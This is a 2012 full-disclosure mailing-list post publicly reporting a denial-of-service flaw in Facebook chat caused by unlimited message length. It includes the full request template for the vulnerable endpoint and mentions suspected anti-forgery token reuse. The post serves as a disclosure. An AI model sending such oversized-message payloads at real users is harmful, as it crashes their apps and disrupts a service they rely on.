Message-ID: <509B5F21.90301@calciumsec.com>
Date: Thu, 08 Nov 2012 04:28:33 -0300
From: "Chris C. Russo" <chris@...ciumsec.com>
To: full-disclosure@...ts.grok.org.uk
Subject: A damn aweful facebook DOS

Good news everyone!

The last time I reported a security flaw to facebook, it took around 6
weeks until they replied,
telling me that there was no flaw at all. Perhaps that's why I decided
to make public any flaw on facebook from now on.

A few many years have passed since it was possible to disconnect a user
from MSN by sending a huge amount of big packets,
a quite classic Denial Of Service. It seems like not so many things have
changed from then.

Here's what I've found:

The chat module, which at this moment I can't use since it looks like I
have been blocked after testing it using burp suit,
doesn't have any kind of limit in the amount of characters that can be sent.

It has been possible to disconnect 3 different testing users (3 out of
3) by sending big enough messages,
one of them reported that his tablet restarted after the reception, and
it wasn't longer possible to open the FB app anymore,
since the chat log would remain there and it would make the app crash again.

The issue is exactly on www.facebook.com/ajax/mercury/send_messages.php
specifically in the parameter message_batch[0][body].

During the test, I've seen several packets causing an internal server
error (500 as response code),
while our collaborators where disconnected.

In order to prevent this, the length of that parameter should be analyzed
*before* sending the information to the addressee user by the
asynchronous connection.

Personally I believe that there must be something wrong with XSRF
tokens as well, because it would allow me to send several packets using
the same token that I initially extracted,
however I couldn't this information due the ban prevention mechanism.

Here you have the technical details:

--------------------------------------------------------

By sending the following packet it's possible to cause a DOS condition
to a remote user that doesn't even need to have the attacker in the
contact list or as "friend",
since it's possible to send messages to almost every user.

http://www.facebook.com/ajax/mercury/send_messages.php

message_batch[0][action_type]=ma-type%3Auser-generated-message
&message_batch[0][thread_id]
&message_batch[0][author]=fbid%3A100000000000000
&message_batch[0][author_email]
&message_batch[0][coordinates]
&message_batch[0][timestamp]=1352175498252
&message_batch[0][timestamp_absolute]=Today
&message_batch[0][timestamp_relative]=1%3A19am
&message_batch[0][is_unread]=false
&message_batch[0][is_cleared]=false
&message_batch[0][is_forward]=false
&message_batch[0][spoof_warning]=false
&message_batch[0][source]=source%3Achat%3Aweb
&message_batch[0][source_tags][0]=source%3Achat
&message_batch[0][body]=%3C<EXTREMLY LONG MESSAGE HERE>%3E
&message_batch[0][has_attachment]=false
&message_batch[0][html_body]=false
&
&message_batch[0][specific_to_list][0]=fbid%3A126000000
&message_batch[0][specific_to_list][1]=fbid%3A100000000000000
&message_batch[0][status]=0
&message_batch[0][message_id]=%3C1352175400000%3A3112200000-1080509979%40mail.projektitan.com%3E
&
&message_batch[0][client_thread_id]=user%3A1263600000
&client=mercury
&__user=100001220521369
&__a=1
&fb_dtsg=AQDT8YAC
&phstamp=1658168845689000000000

(Properly replace the <EXTREMLY LONG MESSAGE HERE> before testing)

This might not be the best vulnerability description ever,
but I hope it helps solving the condition as soon as possible. Have fun.

PS: There's much more.

-- 
Success, *forward, quick.* Chris C. Russo

Más de 100,000 Km recorridos, conservo direcciones, presiono con
ambición, avanzo con delicadeza, flexibilizo para alcanzar, creo
escenarios, cambio realidades.

w: www.calciumsec.com
e: chris@...ciumsec.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists